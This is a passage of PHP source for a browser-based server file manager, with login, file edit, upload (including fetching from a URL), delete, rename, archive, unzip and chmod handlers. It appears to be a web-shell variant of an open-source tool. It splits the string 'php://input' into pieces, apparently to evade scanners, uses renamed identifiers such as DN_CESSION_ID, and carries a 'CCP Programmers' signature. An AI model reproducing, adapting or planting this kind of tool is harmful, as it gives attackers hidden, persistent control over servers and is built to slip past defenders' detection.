<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
